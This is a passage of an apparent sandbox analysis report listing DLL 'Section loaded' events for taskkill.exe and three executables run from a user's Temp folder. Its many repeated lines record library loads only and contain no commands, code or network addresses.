Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
